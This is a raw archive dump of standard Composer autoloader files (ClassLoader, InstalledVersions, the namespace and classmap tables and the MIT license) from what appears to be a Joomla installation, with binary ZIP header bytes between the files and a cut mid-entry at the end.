autoloader. * * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); if (null !== $this->vendorDir) { unset(self::$registeredLoaders[$this->vendorDir]); } } /** * Loads the given class or interface. * * @param string $class The name of the class * @return true|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { includeFile($file); return true; } return null; } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } /** * Returns the currently registered loaders indexed by their corresponding vendor directories. * * @return self[] */ public static function getRegisteredLoaders() { return self::$registeredLoaders; } /** * @param string $class * @param string $ext * @return string|false */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } } /** * Scope isolated include. * * Prevents access to $this/self from included files. * * @param string $file * @return void * @private */ function includeFile($file) { include $file; } PKÜ�\n~�%%'vendor/composer/autoload_namespaces.phpnu�[���<?php // autoload_namespaces.php @generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname(dirname($vendorDir)); return array( 'SimplePie' => array($vendorDir . '/simplepie/simplepie/library'), 'Joomla\\Session' => array($vendorDir . '/joomla/session'), ); PKÜ�\ �..vendor/composer/LICENSEnu�[��� Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PKÜ�\T��"�:�:%vendor/composer/InstalledVersions.phpnu�[���<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer; use Composer\Autoload\ClassLoader; use Composer\Semver\VersionParser; /** * This class is copied in every Composer installed project and available to all * * See also https://getcomposer.org/doc/07-runtime.md#installed-versions * * To require its presence, you can require `composer-runtime-api ^2.0` */ class InstalledVersions { /** * @var mixed[]|null * @psalm-var array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}|array{}|null */ private static $installed; /** * @var bool|null */ private static $canGetVendors; /** * @var array[] * @psalm-var array<string, array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}> */ private static $installedByVendor = array(); /** * Returns a list of all package names which are present, either by being installed, replaced or provided * * @return string[] * @psalm-return list<string> */ public static function getInstalledPackages() { $packages = array(); foreach (self::getInstalled() as $installed) { $packages[] = array_keys($installed['versions']); } if (1 === \count($packages)) { return $packages[0]; } return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); } /** * Returns a list of all package names with a specific type e.g. 'library' * * @param string $type * @return string[] * @psalm-return list<string> */ public static function getInstalledPackagesByType($type) { $packagesByType = array(); foreach (self::getInstalled() as $installed) { foreach ($installed['versions'] as $name => $package) { if (isset($package['type']) && $package['type'] === $type) { $packagesByType[] = $name; } } } return $packagesByType; } /** * Checks whether the given package is installed * * This also returns true if the package name is provided or replaced by another package * * @param string $packageName * @param bool $includeDevRequirements * @return bool */ public static function isInstalled($packageName, $includeDevRequirements = true) { foreach (self::getInstalled() as $installed) { if (isset($installed['versions'][$packageName])) { return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']); } } return false; } /** * Checks whether the given package satisfies a version constraint * * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: * * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') * * @param VersionParser $parser Install composer/semver to have access to this class and functionality * @param string $packageName * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package * @return bool */ public static function satisfies(VersionParser $parser, $packageName, $constraint) { $constraint = $parser->parseConstraints($constraint); $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); return $provided->matches($constraint); } /** * Returns a version constraint representing all the range(s) which are installed for a given package * * It is easier to use this via isInstalled() with the $constraint argument if you need to check * whether a given version of a package is installed, and not just whether it exists * * @param string $packageName * @return string Version constraint usable with composer/semver */ public static function getVersionRanges($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } $ranges = array(); if (isset($installed['versions'][$packageName]['pretty_version'])) { $ranges[] = $installed['versions'][$packageName]['pretty_version']; } if (array_key_exists('aliases', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); } if (array_key_exists('replaced', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); } if (array_key_exists('provided', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); } return implode(' || ', $ranges); } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['version'])) { return null; } return $installed['versions'][$packageName]['version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getPrettyVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['pretty_version'])) { return null; } return $installed['versions'][$packageName]['pretty_version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference */ public static function getReference($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['reference'])) { return null; } return $installed['versions'][$packageName]['reference']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. */ public static function getInstallPath($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @return array * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string} */ public static function getRootPackage() { $installed = self::getInstalled(); return $installed[0]['root']; } /** * Returns the raw installed.php data for custom implementations * * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. * @return array[] * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} */ public static function getRawData() { @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = include __DIR__ . '/installed.php'; } else { self::$installed = array(); } } return self::$installed; } /** * Returns the raw data of all installed.php which are currently loaded for custom implementations * * @return array[] * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}> */ public static function getAllRawData() { return self::getInstalled(); } /** * Lets you reload the static array from another file * * This is only useful for complex integrations in which a project needs to use * this class but then also needs to execute another project's autoloader in process, * and wants to ensure both projects have access to their version of installed.php. * * A typical case would be PHPUnit, where it would need to make sure it reads all * the data it needs from this class, then call reload() with * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure * the project in which it runs can then also use this class safely, without * interference between PHPUnit's dependencies and the project's dependencies. * * @param array[] $data A vendor/composer/installed.php data set * @return void * * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} $data */ public static function reload($data) { self::$installed = $data; self::$installedByVendor = array(); } /** * @return array[] * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}> */ private static function getInstalled() { if (null === self::$canGetVendors) { self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); } $installed = array(); if (self::$canGetVendors) { foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { if (isset(self::$installedByVendor[$vendorDir])) { $installed[] = self::$installedByVendor[$vendorDir]; } elseif (is_file($vendorDir.'/composer/installed.php')) { $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php'; if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { self::$installed = $installed[count($installed) - 1]; } } } } if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = require __DIR__ . '/installed.php'; } else { self::$installed = array(); } } $installed[] = self::$installed; return $installed; } } PKÜ�\�U4�}S}S%vendor/composer/autoload_classmap.phpnu�[���<?php // autoload_classmap.php @generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname(dirname($vendorDir)); return array( 'Brumann\\Polyfill\\DisallowedClassesSubstitutor' => $vendorDir . '/brumann/polyfill-unserialize/src/DisallowedClassesSubstitutor.php', 'Brumann\\Polyfill\\Unserialize' => $vendorDir . '/brumann/polyfill-unserialize/src/Unserialize.php', 'CallbackFilterIterator' => $vendorDir . '/joomla/compat/src/CallbackFilterIterator.php', 'Composer\\InstalledVersions' => $vendorDir . '/composer/InstalledVersions.php', 'EasyPeasyICS' => $vendorDir . '/phpmailer/phpmailer/extras/EasyPeasyICS.php', 'Joomla\\Application\\AbstractApplication' => $vendorDir . '/joomla/application/src/AbstractApplication.php', 'Joomla\\Application\\AbstractCliApplication' => $vendorDir . '/joomla/application/src/AbstractCliApplication.php', 'Joomla\\Application\\AbstractDaemonApplication' => $vendorDir . '/joomla/application/src/AbstractDaemonApplication.php', 'Joomla\\Application\\AbstractWebApplication' => $vendorDir . '/joomla/application/src/AbstractWebApplication.php', 'Joomla\\Application\\Cli\\CliInput' => $vendorDir . '/joomla/application/src/Cli/CliInput.php', 'Joomla\\Application\\Cli\\CliOutput' => $vendorDir . '/joomla/application/src/Cli/CliOutput.php', 'Joomla\\Application\\Cli\\ColorProcessor' => $vendorDir . '/joomla/application/src/Cli/ColorProcessor.php', 'Joomla\\Application\\Cli\\ColorStyle' => $vendorDir . '/joomla/application/src/Cli/ColorStyle.php', 'Joomla\\Application\\Cli\\Output\\Processor\\ColorProcessor' => $vendorDir . '/joomla/application/src/Cli/Output/Processor/ColorProcessor.php', 'Joomla\\Application\\Cli\\Output\\Processor\\ProcessorInterface' => $vendorDir . '/joomla/application/src/Cli/Output/Processor/ProcessorInterface.php', 'Joomla\\Application\\Cli\\Output\\Stdout' => $vendorDir . '/joomla/application/src/Cli/Output/Stdout.php', 'Joomla\\Application\\Cli\\Output\\Xml' => $vendorDir . '/joomla/application/src/Cli/Output/Xml.php', 'Joomla\\Application\\Web\\WebClient' => $vendorDir . '/joomla/application/src/Web/WebClient.php', 'Joomla\\Archive\\Archive' => $vendorDir . '/joomla/archive/src/Archive.php', 'Joomla\\Archive\\Bzip2' => $vendorDir . '/joomla/archive/src/Bzip2.php', 'Joomla\\Archive\\Exception\\UnknownArchiveException' => $vendorDir . '/joomla/archive/src/Exception/UnknownArchiveException.php', 'Joomla\\Archive\\Exception\\UnsupportedArchiveException' => $vendorDir . '/joomla/archive/src/Exception/UnsupportedArchiveException.php', 'Joomla\\Archive\\ExtractableInterface' => $vendorDir . '/joomla/archive/src/ExtractableInterface.php', 'Joomla\\Archive\\Gzip' => $vendorDir . '/joomla/archive/src/Gzip.php', 'Joomla\\Archive\\Tar' => $vendorDir . '/joomla/archive/src/Tar.php', 'Joomla\\Archive\\Zip' => $vendorDir . '/joomla/archive/src/Zip.php', 'Joomla\\DI\\Container' => $vendorDir . '/joomla/di/src/Container.php', 'Joomla\\DI\\ContainerAwareInterface' => $vendorDir . '/joomla/di/src/ContainerAwareInterface.php', 'Joomla\\DI\\ContainerAwareTrait' => $vendorDir . '/joomla/di/src/ContainerAwareTrait.php', 'Joomla\\DI\\Exception\\DependencyResolutionException' => $vendorDir . '/joomla/di/src/Exception/DependencyResolutionException.php', 'Joomla\\DI\\Exception\\KeyNotFoundException' => $vendorDir . '/joomla/di/src/Exception/KeyNotFoundException.php', 'Joomla\\DI\\Exception\\ProtectedKeyException' => $vendorDir . '/joomla/di/src/Exception/ProtectedKeyException.php', 'Joomla\\DI\\ServiceProviderInterface' => $vendorDir . '/joomla/di/src/ServiceProviderInterface.php', 'Joomla\\Data\\DataObject' => $vendorDir . '/joomla/data/src/DataObject.php', 'Joomla\\Data\\DataSet' => $vendorDir . '/joomla/data/src/DataSet.php', 'Joomla\\Data\\DumpableInterface' => $vendorDir . '/joomla/data/src/DumpableInterface.php', 'Joomla\\Event\\AbstractEvent' => $vendorDir . '/joomla/event/src/AbstractEvent.php', 'Joomla\\Event\\DelegatingDispatcher' => $vendorDir . '/joomla/event/src/DelegatingDispatcher.php', 'Joomla\\Event\\Dispatcher' => $vendorDir . '/joomla/event/src/Dispatcher.php', 'Joomla\\Event\\DispatcherAwareInterface' => $vendorDir . '/joomla/event/src/DispatcherAwareInterface.php', 'Joomla\\Event\\DispatcherAwareTrait' => $vendorDir . '/joomla/event/src/DispatcherAwareTrait.php', 'Joomla\\Event\\DispatcherInterface' => $vendorDir . '/joomla/event/src/DispatcherInterface.php', 'Joomla\\Event\\Event' => $vendorDir . '/joomla/event/src/Event.php', 'Joomla\\Event\\EventImmutable' => $vendorDir . '/joomla/event/src/EventImmutable.php', 'Joomla\\Event\\EventInterface' => $vendorDir . '/joomla/event/src/EventInterface.php', 'Joomla\\Event\\ListenersPriorityQueue' => $vendorDir . '/joomla/event/src/ListenersPriorityQueue.php', 'Joomla\\Event\\Priority' => $vendorDir . '/joomla/event/src/Priority.php', 'Joomla\\Filesystem\\Buffer' => $vendorDir . '/joomla/filesystem/src/Buffer.php', 'Joomla\\Filesystem\\Clients\\FtpClient' => $vendorDir . '/joomla/filesystem/src/Clients/FtpClient.php', 'Joomla\\Filesystem\\Exception\\FilesystemException' => $vendorDir . '/joomla/filesystem/src/Exception/FilesystemException.php', 'Joomla\\Filesystem\\File' => $vendorDir . '/joomla/filesystem/src/File.php', 'Joomla\\Filesystem\\Folder' => $vendorDir . '/joomla/filesystem/src/Folder.php', 'Joomla\\Filesystem\\Helper' => $vendorDir . '/joomla/filesystem/src/Helper.php', 'Joomla\\Filesystem\\Patcher' => $vendorDir . '/joomla/filesystem/src/Patcher.php', 'Joomla\\Filesystem\\Path' => $vendorDir . '/joomla/filesystem/src/Path.php', 'Joomla\\Filesystem\\Stream' => $vendorDir . '/joomla/filesystem/src/Stream.php', 'Joomla\\Filesystem\\Stream\\String' => $vendorDir . '/joomla/filesystem/src/Stream/String.php', 'Joomla\\Filesystem\\Stream\\StringWrapper' => $vendorDir . '/joomla/filesystem/src/Stream/StringWrapper.php', 'Joomla\\Filesystem\\Support\\StringController' => $vendorDir . '/joomla/filesystem/src/Support/StringController.php', 'Joomla\\Filter\\InputFilter' => $vendorDir . '/joomla/filter/src/InputFilter.php', 'Joomla\\Filter\\OutputFilter' => $vendorDir . '/joomla/filter/src/OutputFilter.php', 'Joomla\\Image\\Filter\\Backgroundfill' => $vendorDir . '/joomla/image/src/Filter/Backgroundfill.php', 'Joomla\\Image\\Filter\\Brightness' => $vendorDir . '/joomla/image/src/Filter/Brightness.php', 'Joomla\\Image\\Filter\\Contrast' => $vendorDir . '/joomla/image/src/Filter/Contrast.php', 'Joomla\\Image\\Filter\\Edgedetect' => $vendorDir . '/joomla/image/src/Filter/Edgedetect.php', 'Joomla\\Image\\Filter\\Emboss' => $vendorDir . '/joomla/image/src/Filter/Emboss.php', 'Joomla\\Image\\Filter\\Grayscale' => $vendorDir . '/joomla/image/src/Filter/Grayscale.php', 'Joomla\\Image\\Filter\\Negate' => $vendorDir . '/joomla/image/src/Filter/Negate.php', 'Joomla\\Image\\Filter\\Sketchy' => $vendorDir . '/joomla/image/src/Filter/Sketchy.php', 'Joomla\\Image\\Filter\\Smooth' => $vendorDir . '/joomla/image/src/Filter/Smooth.php', 'Joomla\\Image\\Image' => $vendorDir . '/joomla/image/src/Image.php', 'Joomla\\Image\\ImageFilter' => $vendorDir . '/joomla/image/src/ImageFilter.php', 'Joomla\\Input\\Cli' => $vendorDir . '/joomla/input/src/Cli.php', 'Joomla\\Input\\Cookie' => $vendorDir . '/joomla/input/src/Cookie.php', 'Joomla\\Input\\Files' => $vendorDir . '/joomla/input/src/Files.php', 'Joomla\\Input\\Input' => $vendorDir . '/joomla/input/src/Input.php', 'Joomla\\Input\\Json' => $vendorDir . '/joomla/input/src/Json.php', 'Joomla\\Ldap\\LdapClient' => $vendorDir . '/joomla/ldap/src/LdapClient.php', 'Joomla\\Registry\\AbstractRegistryFormat' => $vendorDir . '/joomla/registry/src/AbstractRegistryFormat.php', 'Joomla\\Registry\\Factory' => $vendorDir . '/joomla/registry/src/Factory.php', 'Joomla\\Registry\\FormatInterface' => $vendorDir . '/joomla/registry/src/FormatInterface.php', 'Joomla\\Registry\\Format\\Ini' => $vendorDir . '/joomla/registry/src/Format/Ini.php', 'Joomla\\Registry\\Format\\Json' => $vendorDir . '/joomla/registry/src/Format/Json.php', 'Joomla\\Registry\\Format\\Php' => $vendorDir . '/joomla/registry/src/Format/Php.php', 'Joomla\\Registry\\Format\\Xml' => $vendorDir . '/joomla/registry/src/Format/Xml.php', 'Joomla\\Registry\\Format\\Yaml' => $vendorDir . '/joomla/registry/src/Format/Yaml.php', 'Joomla\\Registry\\Registry' => $vendorDir . '/joomla/registry/src/Registry.php', 'Joomla\\Session\\Session' => $vendorDir . '/joomla/session/Joomla/Session/Session.php', 'Joomla\\Session\\Storage' => $vendorDir . '/joomla/session/Joomla/Session/Storage.php', 'Joomla\\Session\\Storage\\Apc' => $vendorDir . '/joomla/session/Joomla/Session/Storage/Apc.php', 'Joomla\\Session\\Storage\\Apcu' => $vendorDir . '/joomla/session/Joomla/Session/Storage/Apcu.php', 'Joomla\\Session\\Storage\\Database' => $vendorDir . '/joomla/session/Joomla/Session/Storage/Database.php', 'Joomla\\Session\\Storage\\Memcache' => $vendorDir . '/joomla/session/Joomla/Session/Storage/Memcache.php', 'Joomla\\Session\\Storage\\Memcached' => $vendorDir . '/joomla/session/Joomla/Session/Storage/Memcached.php', 'Joomla\\Session\\Storage\\None' => $vendorDir . '/joomla/session/Joomla/Session/Storage/None.php', 'Joomla\\Session\\Storage\\Wincache' => $vendorDir . '/joomla/session/Joomla/Session/Storage/Wincache.php', 'Joomla\\Session\\Storage\\Xcache' => $vendorDir . '/joomla/session/Joomla/Session/Storage/Xcache.php', 'Joomla\\String\\Inflector' => $vendorDir . '/joomla/string/src/Inflector.php', 'Joomla\\String\\Normalise' => $vendorDir . '/joomla/string/src/Normalise.php', 'Joomla\\String\\String' => $vendorDir . '/joomla/string/src/String.php', 'Joomla\\String\\StringHelper' => $vendorDir . '/joomla/string/src/StringHelper.php', 'Joomla\\Uri\\AbstractUri' => $vendorDir . '/joomla/uri/src/AbstractUri.php', 'Joomla\\Uri\\Uri' => $vendorDir . '/joomla/uri/src/Uri.php', 'Joomla\\Uri\\UriHelper' => $vendorDir . '/joomla/uri/src/UriHelper.php', 'Joomla\\Uri\\UriImmutable' => $vendorDir . '/joomla/uri/src/UriImmutable.php', 'Joomla\\Uri\\UriInterface' => $vendorDir . '/joomla/uri/src/UriInterface.php', 'Joomla\\Utilities\\ArrayHelper' => $vendorDir . '/joomla/utilities/src/ArrayHelper.php', 'Joomla\\Utilities\\IpHelper' => $vendorDir . '/joomla/utilities/src/IpHelper.php', 'JsonException' => $vendorDir . '/symfony/polyfill-php73/Resources/stubs/JsonException.php', 'JsonSerializable' => $vendorDir . '/joomla/compat/src/JsonSerializable.php', 'PHPMailer' => $vendorDir . '/phpmailer/phpmailer/class.phpmailer.php', 'PHPMailerOAuth' => $vendorDir . '/phpmailer/phpmailer/class.phpmaileroauth.php', 'PHPMailerOAuthGoogle' => $vendorDir . '/phpmailer/phpmailer/class.phpmaileroauthgoogle.php', 'POP3' => $vendorDir . '/phpmailer/phpmailer/class.pop3.php', 'Psr\\Container\\ContainerExceptionInterface' => $vendorDir . '/psr/container/src/ContainerExceptionInterface.php', 'Psr\\Container\\ContainerInterface' => $vendorDir . '/psr/container/src/ContainerInterface.php', 'Psr\\Container\\NotFoundExceptionInterface' => $vendorDir . '/psr/container/src/NotFoundExceptionInterface.php', 'Psr\\Log\\AbstractLogger' => $vendorDir . '/psr/log/Psr/Log/AbstractLogger.php', 'Psr\\Log\\InvalidArgumentException' => $vendorDir . '/psr/log/Psr/Log/InvalidArgumentException.php', 'Psr\\Log\\LogLevel' => $vendorDir . '/psr/log/Psr/Log/LogLevel.php', 'Psr\\Log\\LoggerAwareInterface' => $vendorDir . '/psr/log/Psr/Log/LoggerAwareInterface.php', 'Psr\\Log\\LoggerAwareTrait' => $vendorDir . '/psr/log/Psr/Log/LoggerAwareTrait.php', 'Psr\\Log\\LoggerInterface' => $vendorDir . '/psr/log/Psr/Log/LoggerInterface.php', 'Psr\\Log\\LoggerTrait' => $vendorDir . '/psr/log/Psr/Log/LoggerTrait.php', 'Psr\\Log\\NullLogger' => $vendorDir . '/psr/log/Psr/Log/NullLogger.php', 'ReCaptcha\\ReCaptcha' => $vendorDir . '/google/recaptcha/src/ReCaptcha/ReCaptcha.php', 'ReCaptcha\\RequestMethod' => $vendorDir . '/google/recaptcha/src/ReCaptcha/RequestMethod.php', 'ReCaptcha\\RequestMethod\\Curl' => $vendorDir . '/google/recaptcha/src/ReCaptcha/RequestMethod/Curl.php', 'ReCaptcha\\RequestMethod\\CurlPost' => $vendorDir . '/google/recaptcha/src/ReCaptcha/RequestMethod/CurlPost.php', 'ReCaptcha\\RequestMethod\\Post' => $vendorDir . '/google/recaptcha/src/ReCaptcha/RequestMethod/Post.php', 'ReCaptcha\\RequestMethod\\Socket' => $vendorDir . '/google/recaptcha/src/ReCaptcha/RequestMethod/Socket.php', 'ReCaptcha\\RequestMethod\\SocketPost' => $vendorDir . '/google/recaptcha/src/ReCaptcha/RequestMethod/SocketPost.php', 'ReCaptcha\\RequestParameters' => $vendorDir . '/google/recaptcha/src/ReCaptcha/RequestParameters.php', 'ReCaptcha\\Response' => $vendorDir . '/google/recaptcha/src/ReCaptcha/Response.php', 'SMTP' => $vendorDir . '/phpmailer/phpmailer/class.smtp.php', 'SimplePie' => $vendorDir . '/simplepie/simplepie/library/SimplePie.php', 'SimplePie_Author' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Author.php', 'SimplePie_Cache' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Cache.php', 'SimplePie_Cache_Base' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Cache/Base.php', 'SimplePie_Cache_DB' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Cache/DB.php', 'SimplePie_Cache_File' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Cache/File.php', 'SimplePie_Cache_Memcache' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Cache/Memcache.php', 'SimplePie_Cache_MySQL' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Cache/MySQL.php', 'SimplePie_Caption' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Caption.php', 'SimplePie_Category' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Category.php', 'SimplePie_Content_Type_Sniffer' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Content/Type/Sniffer.php', 'SimplePie_Copyright' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Copyright.php', 'SimplePie_Core' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Core.php', 'SimplePie_Credit' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Credit.php', 'SimplePie_Decode_HTML_Entities' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Decode/HTML/Entities.php', 'SimplePie_Enclosure' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Enclosure.php', 'SimplePie_Exception' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Exception.php', 'SimplePie_File' => $vendorDir . '/simplepie/simplepie/library/SimplePie/File.php', 'SimplePie_HTTP_Parser' => $vendorDir . '/simplepie/simplepie/library/SimplePie/HTTP/Parser.php', 'SimplePie_IRI' => $vendorDir . '/simplepie/simplepie/library/SimplePie/IRI.php', 'SimplePie_Item' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Item.php', 'SimplePie_Locator' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Locator.php', 'SimplePie_Misc' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Misc.php', 'SimplePie_Net_IPv6' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Net/IPv6.php', 'SimplePie_Parse_Date' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Parse/Date.php', 'SimplePie_Parser' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Parser.php', 'SimplePie_Rating' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Rating.php', 'SimplePie_Registry' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Registry.php', 'SimplePie_Restriction' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Restriction.php', 'SimplePie_Sanitize' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Sanitize.php', 'SimplePie_Source' => $vendorDir . '/simplepie/simplepie/library/SimplePie/Source.php', 'SimplePie_XML_Declaration_Parser' => 